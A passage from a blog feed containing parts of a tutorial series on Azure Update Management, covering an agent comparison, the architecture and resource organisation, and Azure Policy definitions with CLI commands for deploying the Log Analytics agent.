<td style="text-align:center"></td> </tr> <tr> <td>Event Logs</td> <td style="text-align:center">X</td> <td style="text-align:center">X</td> <td style="text-align:center">X</td> </tr> <tr> <td>Performance</td> <td style="text-align:center">X</td> <td style="text-align:center">X</td> <td style="text-align:center">X</td> </tr> <tr> <td>File based logs</td> <td style="text-align:center">X</td> <td style="text-align:center">X</td> <td style="text-align:center">X</td> </tr> <tr> <td>IIS logs</td> <td style="text-align:center">X</td> <td style="text-align:center">X</td> <td style="text-align:center">X</td> </tr> <tr> <td>ETW events</td> <td style="text-align:center"></td> <td style="text-align:center"></td> <td style="text-align:center">X</td> </tr> <tr> <td>.NET app logs</td> <td style="text-align:center"></td> <td style="text-align:center"></td> <td style="text-align:center">X</td> </tr> <tr> <td>Crash dumps</td> <td style="text-align:center"></td> <td style="text-align:center"></td> <td style="text-align:center">X</td> </tr> <tr> <td>Agent diagnostics logs</td> <td style="text-align:center"></td> <td style="text-align:center"></td> <td style="text-align:center">X</td> </tr> <tr> <td><b>Services and features supported</b></td> <td style="text-align:center"></td> <td style="text-align:center"></td> <td style="text-align:center"></td> </tr> <tr> <td>Microsoft Sentinel</td> <td style="text-align:center">X</td> <td style="text-align:center">X</td> <td style="text-align:center"></td> </tr> <tr> <td>VM Insights</td> <td style="text-align:center">X</td> <td style="text-align:center">X</td> <td style="text-align:center"></td> </tr> <tr> <td>Microsoft Defender for Cloud</td> <td style="text-align:center">X</td> <td style="text-align:center">X</td> <td style="text-align:center"></td> </tr> <tr> <td>Update Management</td> <td style="text-align:center">X</td> <td style="text-align:center">X</td> <td style="text-align:center"></td> </tr> <tr> <td>Change Tracking</td> <td style="text-align:center">X</td> <td style="text-align:center">X</td> <td style="text-align:center"></td> </tr> <tr> <td>SQL Best Practices Assessment</td> <td style="text-align:center">X</td> <td style="text-align:center"></td> <td style="text-align:center"></td> </tr> </table> <table id="custom" class="t-border"> <caption style="text-align:center"><b>For Linux machines</b></caption> <tr> <th></th> <th style="text-align:center">Azure Monitor Agent</th> <th style="text-align:center">Log Analytics Agent</th> <th style="text-align:center">Diagnostics extension (LAD)</th> </tr> <tr> <td><b>Data collected</b></td> <td style="text-align:center"></td> <td style="text-align:center"></td> <td style="text-align:center"></td> </tr> <tr> <td>Syslog</td> <td style="text-align:center">X</td> <td style="text-align:center">X</td> <td style="text-align:center">X</td> </tr> <tr> <td>Performance</td> <td style="text-align:center">X</td> <td style="text-align:center">X</td> <td style="text-align:center">X</td> </tr> <tr> <td><b>Services and features supported</b></td> <td style="text-align:center"></td> <td style="text-align:center"></td> <td style="text-align:center"></td> </tr> <tr> <td>Microsoft Sentinel</td> <td style="text-align:center">X</td> <td style="text-align:center">X</td> <td style="text-align:center"></td> </tr> <tr> <td>VM Insights</td> <td style="text-align:center">X</td> <td style="text-align:center">X</td> <td style="text-align:center"></td> </tr> <tr> <td>Microsoft Defender for Cloud</td> <td style="text-align:center">X</td> <td style="text-align:center">X</td> <td style="text-align:center"></td> </tr> <tr> <td>Update Management</td> <td style="text-align:center">X</td> <td style="text-align:center">X</td> <td style="text-align:center"></td> </tr> <tr> <td>Change Tracking</td> <td style="text-align:center">X</td> <td style="text-align:center">X</td> <td style="text-align:center"></td> </tr> <tr> <td>SQL Best Practices Assessment</td> <td style="text-align:center">X</td> <td style="text-align:center"></td> <td style="text-align:center"></td> </tr> </table> <h3 id="deployment-methods">Deployment methods</h3> <h4 id="policy">Policy</h4> <p>From my point of view, this is the prefered method <i>c.f.</i> my previous posts.</p> <h4 id="using-the-azure-portal">Using the Azure portal</h4> <p>There are multiple way to install the Log Analytics agent from the portal. I won’t get into the details of each method because this is well documented by Microsoft.</p> <table id="custom" class="t-border"> <caption style="text-align:center"><b>For Linux machines</b></caption> <tr> <th>Method</th> <th>URL</th> </tr> <tr> <td><a href="https://learn.microsoft.com/en-us/azure/automation/update-management/enable-from-portal">Azure portal - Bulk onboarding</a></td> <td>This method will also enable Update Management for monitoring</td> </tr> <tr> <td><a href="https://learn.microsoft.com/en-us/azure/automation/update-management/enable-from-vm">Azure portal - From a VM</a></td> <td>I don't recommend this method, see why at the end of the table.</td> </tr> <tr> <td><a href="https://learn.microsoft.com/en-us/azure/automation/update-management/enable-from-automation-account">Azure portal - From an Automation Account</a></td> <td>This method will also enable Update Management for monitoring</td> </tr> </table> <p><u>Note 1</u> : the <b>Azure portal - From a VM</b> has a side effect at the time I write this article. When clicking on the enable button, it will send a request to Azure and update the Log Analytics workspace, and remove all of its tags. I think the Javascript that builds the request in the portal is not properly coded, so I don’t use this method anymore.</p> <p><u>Note 2</u> : there are other ways to deploy Log Analytics agents on VMs, but they also enable other related services that we don’t need such as VM Insights.</p> <h4 id="extensions">Extensions</h4> <table id="custom" class="t-border"> <tr> <th>Method</th> <th>URL</th> </tr> <tr> <td><a href="https://learn.microsoft.com/en-us/azure/virtual-machines/extensions/oms-windows?toc=%2Fazure%2Fazure-monitor%2Ftoc.json">Windows</a></td> <td>Can be automated to deploy at scale</td> </tr> <tr> <td><a href="https://learn.microsoft.com/en-us/azure/virtual-machines/extensions/oms-linux?toc=%2Fazure%2Fazure-monitor%2Ftoc.json">Linux</a></td> <td>Can be automated to deploy at scale</td> </tr> </table> <h4 id="local-install">Local install</h4> <table id="custom" class="t-border"> <tr> <th>Method</th> <th>URL</th> </tr> <tr> <td><a href="https://learn.microsoft.com/en-us/azure/azure-monitor/agents/agent-windows?tabs=setup-wizard">Windows</a></td> <td>Connect on a machine to deploy the agent</td> </tr> <tr> <td><a href="https://learn.microsoft.com/en-us/azure/azure-monitor/agents/agent-linux?tabs=wrapper-script">Linux</a></td> <td>Connect on a machine to deploy the agent</td> </tr> </table>]]></content><author><name>Molx32</name></author><category term="updatemanagement"/><summary type="html"><![CDATA[This post is describes the architecture of the solution]]></summary></entry><entry><title type="html">Azure Update Management - Part 1 - Architecture</title><link href="https://cyber-intruder.com/blog/2022/Update-management-01/" rel="alternate" type="text/html" title="Azure Update Management - Part 1 - Architecture"/><published>2022-08-02T12:00:00+02:00</published><updated>2022-08-02T12:00:00+02:00</updated><id>https://cyber-intruder.com/blog/2022/Update-management-01</id><content type="html" xml:base="https://cyber-intruder.com/blog/2022/Update-management-01/"><![CDATA[<p><i>Hello there, the goal of this serie is to describe a real world implementation of <b>Azure Update Management</b>. This service was designed to update any machine in your infrastructure, whether they are hosted on Azure or elsewhere, provided your OSs are technically supported.</i></p> <p><i>In order for every reader to understand and find answers to their need, to I’ll try to give a comprehensive feedback from my experience, as well as sharing tips about design and architecture, automation, effectivement, troubleshooting issues, and so on!</i></p> <p><i>Have a nice reading.</i></p> <hr/> <h4 id="plan">Plan</h4> <ul> <li><a href="/blog/2022/Update-management-00/">Part 0 - Introduction</a></li> <li><b><a href="/blog/2022/Update-management-01/">Part 1 - Architecture (you’re here)</a></b></li> <li><a href="/blog/2022/Update-management-011/">Part 2 - Azure Policy</a></li> <li><a href="/blog/2022/Update-management-02/">Part 3 - Azure ARC</a></li> <li><a href="/blog/2022/Update-management-03/">Part 4 - Log Analytics agents</a></li> <li><a href="/blog/2023/Update-management-04/">Part 5 - Automation accounts</a></li> <li><a href="/blog/2023/Update-management-05/">Part 6 - Monitoring</a></li> <li><a href="/blog/2023/Update-management-06/">Part 7 - Security patches on Azure ARC</a></li> <li><a href="/blog/2023/Update-management-07/">Part 8 - Security patches on CentOS machines</a></li> </ul> <hr/> <h2 id="introduction">Introduction</h2> <p>In the previous, we just scratched the surface of this wide topic. In this post, we’ll see the complete architecture as deployed in my production environment. I’ll describe each service and their interaction, as well as design considerations.</p> <h2 id="architecture">Architecture</h2> <h3 id="services">Services</h3> <p>Here is the architecture, where you can see four steps.</p> <ol> <li> <p><b>Azure ARC</b> - First of all, non Azure VMs need an additional step : connecting the VM to Azure. This is can be achieved with Azure ARC.</p> </li> <li> <p><b>Reporting with Log Analytics agents</b> - Now that we can manage both Azure and non-Azure VM directly from Azure, we can set up an Azure Policy. Basically, an Azure policy can enforce a pre-defined configuration on our VM. In that case, we enforce the Log Analytics agent to be installed on each VM (both Azure and non-Azure) and report update information to a Log Analytics workspace. Be doing this, any newly created VM will be onboarded on Update Management.</p> </li> </ol> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/arch_1-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/arch_1-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/arch_1-1400.webp"/> <img src="/assets/img/arch_1.png" class="img-fluid rounded z-depth-1" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <ol> <li> <p><b>Monitoring with workbooks</b> - In order to monitor service health, update status, and some other information, we can create an Azure Workbook, which is a dashboard. The workbook is based on the Log Analytics workspace that will collect all the update information from all VMs.</p> </li> <li> <p><b>Updating with Automation Accounts.</b> - The core service of Update Management in Azure is <b>Automation Account</b>. This is the service where we can configure our update policy <i>i.e.</i> the machines we want to update, whether machines should reboot or not, what the update frequency should be, and so on. In order to know which updates should be applied, the Automation Account is <u>linked</u> to our Log Analytics so that it can monitor missing updates reported accross all our VMs. If the Automation Accounts sees a VM with a missing patch, it will consider the VM as a candidate for update.</p> </li> </ol> <h3 id="resources-organization">Resources organization</h3> <p>Now, to explain how resources are organized, let me bring some context from my real-world scenario. We have four Cloud Service Providers (CSP) : OVH, GCP, OCI and Azure. The question is : how do we organize our resources to match the architecture presented above?</p> <h4 id="design-consideration---environment">Design consideration - Environment</h4> <p>Our first consideration was to integrate this properly with the existing architecture, which looked like this. As you can see, there are multiple resource groups (RG) and one subscription per environment : the production environment, and the non production environment. Thus, to comply with the existing architecture, we could create two resource groups:</p> <ol> <li>A resource group named “RG-UPDT-MGMT” where we would deploy production resources</li> <li>A resource group named “RG-NP-UPDT-MGMT” where we would deploy non production resources</li> </ol> <p>We didn’t implement this, because we also wanted to consider CSPs.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/arch_11-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/arch_11-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/arch_11-1400.webp"/> <img src="/assets/img/arch_11.png" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <h4 id="design-consideration---csp">Design consideration - CSP</h4> <p>A second design consideration was our CSPs. Imagine onboarding hundreds of VMs into Azure using Azure ARC : you don’t want extra maintenance effort on Azure. For this reasons, we wanted to be able to manage those VMs easily by regrouping all OVH machines in the same resource group, and doing the same with OCI and GCP. Of course, we couldn’t do it for Azure VMs because we already had many projects and resources with Azure VMs everywhere, so this ease of management only applies to Azure ARC. So this gives the following scheme.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/arch_12-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/arch_12-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/arch_12-1400.webp"/> <img src="/assets/img/arch_12.png" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/arch_13-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/arch_13-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/arch_13-1400.webp"/> <img src="/assets/img/arch_13.png" class="img-fluid rounded z-depth-1 imgc" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <p><u>Notes</u> :</p> <ul> <li>To make the scheme more readable, I removed the example resource groups that you can see on the previous scheme.</li> <li>I split the scheme into two images</li> </ul> <h4 id="additional-design-decisions">Additional design decisions</h4> <h5 id="monitoring">Monitoring</h5> <p>Monitoring could be a design consideration, but if you plan to use Azure Monitor and workbooks, you can monitor updates accross resource groups and subscriptions.</p> <h5 id="azure-limits">Azure limits</h5> <p>If you have many resources in your environment, make sure to check Azure services limits.</p> <h5 id="permissions">Permissions</h5> <p>If you split your resources in many resource groups (e.g. one resource group per Azure region, per environment, per CSP, per country), permissions will be painful to manage.</p> <h4 id="final-core-architecture">Final core architecture</h4> <p>So in my case, the final architecture looks like this. It is important to note that Automation Account configuration is slightly different to handle Azure ARC machines : I will discuss these technical details in the next parts of the serie. Additionally, you can see that some services are missing : they will also be discussed in the next posts.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/arch_2-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/arch_2-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/arch_2-1400.webp"/> <img src="/assets/img/arch_2.png" class="img-fluid rounded z-depth-1" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <p><u>Note</u> : I won’t post the same picture for non production environment since this is the same, expect for resource groups and resources names.</p> <h2 id="deployment">Deployment</h2> <p>Wait a minute! You may want to deploy resources at this point : I invite you to do some testing if you want to, but the production deployment should be done using Infrastructure As Code (IAC). If you take a look a the next posts, I will share an ARM template to do so, probably on <b>Part 4</b>, so be patient! :)</p>]]></content><author><name>Molx32</name></author><category term="updatemanagement"/><summary type="html"><![CDATA[This post is describes the architecture of the solution]]></summary></entry><entry><title type="html">Azure Update Management - Part 2 - Azure Policy</title><link href="https://cyber-intruder.com/blog/2022/Update-management-011/" rel="alternate" type="text/html" title="Azure Update Management - Part 2 - Azure Policy"/><published>2022-08-02T12:00:00+02:00</published><updated>2022-08-02T12:00:00+02:00</updated><id>https://cyber-intruder.com/blog/2022/Update-management-011</id><content type="html" xml:base="https://cyber-intruder.com/blog/2022/Update-management-011/"><![CDATA[<p><i>Hello there, the goal of this serie is to describe a real world implementation of <b>Azure Update Management</b>. This service was designed to update any machine in your infrastructure, whether they are hosted on Azure or elsewhere, provided your OSs are technically supported.</i></p> <p><i>In order for every reader to understand and find answers to their need, to I’ll try to give a comprehensive feedback from my experience, as well as sharing tips about design and architecture, automation, effectivement, troubleshooting issues, and so on!</i></p> <p><i>Have a nice reading.</i></p> <hr/> <h4 id="plan">Plan</h4> <ul> <li><a href="/blog/2022/Update-management-00/">Part 0 - Introduction</a></li> <li><a href="/blog/2022/Update-management-01/">Part 1 - Architecture</a></li> <li><b><a href="/blog/2022/Update-management-011/">Part 2 - Azure Policy (you’re here)</a></b></li> <li><a href="/blog/2022/Update-management-02/">Part 3 - Azure ARC</a></li> <li><a href="/blog/2022/Update-management-03/">Part 4 - Log Analytics agents</a></li> <li><a href="/blog/2023/Update-management-04/">Part 5 - Automation accounts</a></li> <li><a href="/blog/2023/Update-management-05/">Part 6 - Monitoring</a></li> <li><a href="/blog/2023/Update-management-06/">Part 7 - Security patches on Azure ARC</a></li> <li><a href="/blog/2023/Update-management-07/">Part 8 - Security patches on CentOS machines</a></li> </ul> <hr/> <h2 id="introduction">Introduction</h2> <p>In the previous post, I presented the global architecture and how resources are organized. As mentioned, some services did not appear in the resource orgnization : this is the case for Azure Policy, which te topix of this post.</p> <h2 id="what-is-azure-policy">What is Azure Policy</h2> <p>Azure Policy is a service that allows you to define rules to properly manage your resources. You can imagine a lot a controls to apply, here are a few examples :</p> <ul> <li>Enforce a specific set of tags on all resource groups</li> <li>Prevent users from deploying VM with an expensive SKU</li> <li>Prevent deployment of Storage Account with public access</li> </ul> <p>Technically, these rules are called <i>policy definitions</i>. Once a policy definition is created, nothing happen : you need to assign the policy definition to a specific scope. For instance, if I want to enforce a specific set of tags on all resource groups, I may first assign this policy definition to my “Non production” subscription first, before assigning it to my “Production” subscription.</p> <p>What is our goal? We want to create a policy definition that <i>enforces all Azure VMs and all Azure ARC VMs to be onboarded on Azure Automation Update</i>. To be more specific and technical, what we want to is <i>enforce Log Analytics agents to be installed on all Azure VMs and all Azure ARC VMs to be</i>. Let’s discuss this in the next section.</p> <h2 id="azure-policy-deployment">Azure Policy deployment</h2> <p>Our goal is to have something that looks like the scheme below. To explain this, I’ll repeat what I described earlier, but with more specific words. We create four policy assignments<i>policy assignments</i>:</p> <ol> <li>An assignment at the subscription level, that must apply to all Azure VMs, that enforces all Azure VMs to report to loga-azure-001 Log Analytics.</li> <li>An assignment at the rg_ovh_001 resource group, that must apply to all OVH Azure ARC VMs Azure VMs, that enforces all OVH Azure ARC VMs to report to loga-ovh-001 Log Analytics.</li> <li>An assignment at the rg_oci_001 resource group, that must apply to all OCI Azure ARC VMs Azure VMs, that enforces all OCI Azure ARC VMs to report to loga-oci-001 Log Analytics.</li> <li>An assignment at the rg_gcp_001 resource group, that must apply to all GCP Azure ARC VMs Azure VMs, that enforces all GCP Azure ARC VMs to report to loga-gcp-001 Log Analytics.</li> </ol> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/arch_3-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/arch_3-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/arch_3-1400.webp"/> <img src="/assets/img/arch_3.png" class="img-fluid rounded z-depth-1" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <h3 id="create-the-policy-definitions">Create the policy definitions</h3> <p>We actually need to create multiple policy definitions. Before sharing the policies to implement, let’s take a look at the policy definition code. This first part shows two parameters :</p> <ul> <li><b>policyRule</b> - It defines in which conditions the policy will be applied. In that case, the policy will be applied to resources with <i>Microsoft.HybridCompute/machines</i> type (i.e. Azure ARC resources), and to resources which run Linux.</li> </ul> <figure class="highlight"><pre><code class="language-json" data-lang="json"><span class="p">{</span><span class="w">
    </span><span class="nl">"if"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"allOf"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
        </span><span class="p">{</span><span class="w">
            </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"type"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"equals"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.HybridCompute/machines"</span><span class="w">
        </span><span class="p">},</span><span class="w">
        </span><span class="p">{</span><span class="w">
            </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.HybridCompute/machines/osName"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"equals"</span><span class="p">:</span><span class="w"> </span><span class="s2">"linux"</span><span class="w">
        </span><span class="p">}</span><span class="w">
        </span><span class="p">]</span><span class="w">
    </span><span class="p">},</span></code></pre></figure> <p>This second part describes the effect to apply when resources match the conditions aforementioned.</p> <ul> <li><b>effect</b> : this setting is parametrized. This means we can set the value when assigning the policy. The effect we will choose is DeployIfNotExists, which will deploy the agent on the machine when not detected.</li> <li><b>existenceConditions</b> : this setting is used to say that if resources already have the agent installed, then we do nothing. So it is important to ensure that machines have no agent installed before deployment (you can check this in extensions).</li> </ul> <figure class="highlight"><pre><code class="language-json" data-lang="json"><span class="w">    </span><span class="nl">"then"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
      </span><span class="nl">"effect"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[parameters('effect')]"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"details"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.HybridCompute/machines/extensions"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"roleDefinitionIds"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
          </span><span class="s2">"/providers/Microsoft.Authorization/roleDefinitions/92aaf0da-9dab-42b6-94a3-d43ce8d16293"</span><span class="w">
        </span><span class="p">],</span><span class="w">
        </span><span class="nl">"existenceCondition"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
          </span><span class="nl">"allOf"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
            </span><span class="p">{</span><span class="w">
              </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.HybridCompute/machines/extensions/type"</span><span class="p">,</span><span class="w">
              </span><span class="nl">"equals"</span><span class="p">:</span><span class="w"> </span><span class="s2">"OmsAgentForLinux"</span><span class="w">
            </span><span class="p">},</span><span class="w">
            </span><span class="p">{</span><span class="w">
              </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.HybridCompute/machines/extensions/publisher"</span><span class="p">,</span><span class="w">
              </span><span class="nl">"equals"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.EnterpriseCloud.Monitoring"</span><span class="w">
            </span><span class="p">},</span><span class="w">
            </span><span class="p">{</span><span class="w">
              </span><span class="nl">"field"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.HybridCompute/machines/extensions/provisioningState"</span><span class="p">,</span><span class="w">
              </span><span class="nl">"equals"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Succeeded"</span><span class="w">
            </span><span class="p">}</span><span class="w">
          </span><span class="p">]</span><span class="w">
        </span><span class="p">},</span></code></pre></figure> <p>Finally, this last part describes what will be deployed. To make it short, the agent is deployed as an Azure VM Extension, and will be automatically configured with the appropriate Log Analytics workspace thanks to parameters defined at deployment time.</p> <figure class="highlight"><pre><code class="language-json" data-lang="json"><span class="w">        </span><span class="nl">"deployment"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
          </span><span class="nl">"properties"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
            </span><span class="nl">"mode"</span><span class="p">:</span><span class="w"> </span><span class="s2">"incremental"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"template"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
              </span><span class="nl">"$schema"</span><span class="p">:</span><span class="w"> </span><span class="s2">"http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#"</span><span class="p">,</span><span class="w">
              </span><span class="nl">"contentVersion"</span><span class="p">:</span><span class="w"> </span><span class="s2">"1.0.0.0"</span><span class="p">,</span><span class="w">
              </span><span class="nl">"parameters"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                </span><span class="nl">"vmName"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                  </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"string"</span><span class="w">
                </span><span class="p">},</span><span class="w">
                </span><span class="nl">"location"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                  </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"string"</span><span class="w">
                </span><span class="p">},</span><span class="w">
                </span><span class="nl">"logAnalytics"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                  </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"string"</span><span class="w">
                </span><span class="p">}</span><span class="w">
              </span><span class="p">},</span><span class="w">
              </span><span class="nl">"variables"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                </span><span class="nl">"vmExtensionName"</span><span class="p">:</span><span class="w"> </span><span class="s2">"OMSAgentForLinux"</span><span class="p">,</span><span class="w">
                </span><span class="nl">"vmExtensionPublisher"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.EnterpriseCloud.Monitoring"</span><span class="p">,</span><span class="w">
                </span><span class="nl">"vmExtensionType"</span><span class="p">:</span><span class="w"> </span><span class="s2">"OmsAgentForLinux"</span><span class="w">
              </span><span class="p">},</span><span class="w">
              </span><span class="nl">"resources"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                </span><span class="p">{</span><span class="w">
                  </span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[concat(parameters('vmName'), '/', variables('vmExtensionName'))]"</span><span class="p">,</span><span class="w">
                  </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.HybridCompute/machines/extensions"</span><span class="p">,</span><span class="w">
                  </span><span class="nl">"location"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[parameters('location')]"</span><span class="p">,</span><span class="w">
                  </span><span class="nl">"apiVersion"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2019-12-12"</span><span class="p">,</span><span class="w">
                  </span><span class="nl">"properties"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                    </span><span class="nl">"publisher"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[variables('vmExtensionPublisher')]"</span><span class="p">,</span><span class="w">
                    </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[variables('vmExtensionType')]"</span><span class="p">,</span><span class="w">
                    </span><span class="nl">"settings"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                      </span><span class="nl">"workspaceId"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[reference(parameters('logAnalytics'), '2015-03-20').customerId]"</span><span class="p">,</span><span class="w">
                      </span><span class="nl">"stopOnMultipleConnections"</span><span class="p">:</span><span class="w"> </span><span class="s2">"true"</span><span class="w">
                    </span><span class="p">},</span><span class="w">
                    </span><span class="nl">"protectedSettings"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                      </span><span class="nl">"workspaceKey"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[listKeys(parameters('logAnalytics'), '2015-03-20').primarySharedKey]"</span><span class="w">
                    </span><span class="p">}</span><span class="w">
                  </span><span class="p">}</span><span class="w">
                </span><span class="p">}</span><span class="w">
              </span><span class="p">],</span><span class="w">
            </span><span class="p">}</span><span class="w">
        </span><span class="p">}</span><span class="w">
    </span><span class="p">}</span><span class="w">
</span><span class="p">}</span></code></pre></figure> <h4 id="policy-definition-for-azure-arc-windows-vms">Policy definition for Azure ARC Windows VMs</h4> <p>You’ll find the necessary files below :</p> <ul> <li><a href="https://github.com/Molx32/AzureUpdateManagement/blob/main/policies/policy_arc_windows.rules.json">policy_arc_windows.rules.json</a></li> <li><a href="https://github.com/Molx32/AzureUpdateManagement/blob/main/policies/policy_arc_windows.param.json">policy_arc_windows.param.json</a></li> </ul> <figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">text</span><span class="o">=</span><span class="s2">"Enforce Log Analytics agent install on Azure ARC Windows VMs"</span>
az policy definition create <span class="nt">--name</span> <span class="s2">"</span><span class="nv">$text</span><span class="s2">"</span> <span class="nt">--display-name</span> <span class="s2">"</span><span class="nv">$text</span><span class="s2">"</span> <span class="nt">--description</span> <span class="s2">"</span><span class="nv">$text</span><span class="s2">"</span> <span class="nt">--rules</span> policy_arc_windows.rules.json <span class="nt">--params</span> policy_arc_windows.param.json <span class="nt">--mode</span> Indexed</code></pre></figure> <h4 id="policy-definition-for-azure-arc-linux-vms">Policy definition for Azure ARC Linux VMs</h4> <p>You’ll find the necessary files below :</p> <ul> <li><a href="https://github.com/Molx32/AzureUpdateManagement/blob/main/policies/policy_arc_linux.rules.json">policy_arc_windows.rules.json</a></li> <li><a href="https://github.com/Molx32/AzureUpdateManagement/blob/main/policies/policy_arc_linux.param.json">policy_arc_windows.param.json</a></li> </ul> <figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">text</span><span class="o">=</span><span class="s2">"Enforce Log Analytics agent install on Azure ARC Linux VMs"</span>
az policy definition create <span class="nt">--name</span> <span class="s2">"</span><span class="nv">$text</span><span class="s2">"</span> <span class="nt">--display-name</span> <span class="s2">"</span><span class="nv">$text</span><span class="s2">"</span> <span class="nt">--description</span> <span class="s2">"</span><span class="nv">$text</span><span class="s2">"</span> <span class="nt">--rules</span> policy_arc_linux.rules.json <span class="nt">--params</span> policy_arc_linux.param.json <span class="nt">--mode</span> Indexed</code></pre></figure> <h4 id="policy-definition-for-azure-windows-vms">Policy definition for Azure Windows VMs</h4> <p>You’ll find the necessary files below :</p> <ul> <li><a href="https://github.com/Molx32/AzureUpdateManagement/blob/main/policies/policy_windows.rules.json">policy_arc_windows.rules.json</a></li> <li><a href="https://github.com/Molx32/AzureUpdateManagement/blob/main/policies/policy_windows.param.json">policy_arc_windows.param.json</a></li> </ul> <figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">text</span><span class="o">=</span><span class="s2">"Enforce Log Analytics agent install on Azure Windows VMs"</span>
